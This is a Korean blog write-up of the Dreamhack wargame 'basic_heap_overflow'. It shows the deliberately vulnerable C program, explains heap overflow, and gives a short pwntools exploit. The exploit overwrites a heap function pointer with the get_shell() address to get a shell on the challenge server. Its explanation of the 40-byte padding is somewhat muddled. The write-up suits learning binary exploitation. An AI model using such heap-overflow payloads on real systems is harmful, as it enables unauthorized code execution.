[드림핵] basic_heap_overflow

SONG's 보안·2024년 4월 2일

드림핵

목록 보기
22/33

https://dreamhack.io/wargame/challenges/66


1. 코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);

    struct over *over = malloc(0x20);

    initialize();

    over->table = table_func;

    scanf("%s", ptr);

    if( !over->table ){
        return 0;
    }

    over->table();
    return 0;
}

1. heap 이란?

힙(heap) 영역 : 컴퓨터의 기억 장소에서 그 일부분이 프로그램들에 할당(malloc..etc) 되었다가 회수되는 작용이 되풀이 되는 영역

2. Heap Buffer Overflow 란?

힙 영역에서 일어나는 buffer overflow를 heap overflow라 부르며, stack처럼 RET 변조는 불가하고 동적 메모리 할당 연결을 덮어씀으로써 프로그램 함수 포인터를 조작한다.

프로그램이 실행되면, 실행에 필요한 정보들이 메모리 영역에 올라가는데 크게는 코드 영역, 데이터 영역, 스택 영역, 힙 영역 으로 구분된다.

  • 코드 영역 : 프로그램의 컴파일된 기계어코드가 올라가는 영역
  • 데이터 영역: 전역변수와 정적변수 등이 할당되는영역. 초기화된 데이터는 data 영역에 저장. 초기화 되지 않은 데이터는 bss 영역에 저장
  • 스택 영역 : 지역변수와 매개변수가 저장

입력할 수 있는 공간이 변수 ptr밖에 없고, 그마저도 취약 함수인 scanf로 입력받고 있다.

✅ scanf() 함수는 bof 취약점을 가진 함수다. 

입력받은 데이터의 크기를 고려하지않고, 모두 복사해버린다. 

사용자가 입력한 문자열이 table_func() 함수 포인터를 덮어쓸 수 있는 크기로 입력되면, 사용자는 table_func() 함수 대신 get_shell() 함수 주소 값을 넣어 flag를 호출할 수 있게 된다.


2. 문제 풀이

문자열 총 32개를 입력할 수 있다.
0x20 10진수 --> 32

from pwn import*
 
p = remote("host3.dreamhack.games", 포트번호)
context.log_level='debug'
payload=b'a'*40+p32(0x0804867b) 
p.send(payload)
p.interactive()

디버그해서 얻은 쉘의 주소를 리틀 엔디안 방식으로 패킹해준다.
get_shell() 함수를 호출하기 위해서 a40 byte만큼 입력
--> get_shell() 함수의 주소를 주입시킨다.

문제 서버가 32bit 운영체제라면 여유 메모리는 최대 8바이트이므로, 32 + 8바이트 = 40바이트, 단위는 8바이트이므로 40바이트의 힙 메모리를 할당한다. 따라서 아래 익스플로잇 코드를 작성할 때는 주소값 차이를 40으로 계산해야한다.

실행시키면 ls를 해주고, cat flag로 flag값을 얻는다.

profile
前) SWLUG 27기

0개의 댓글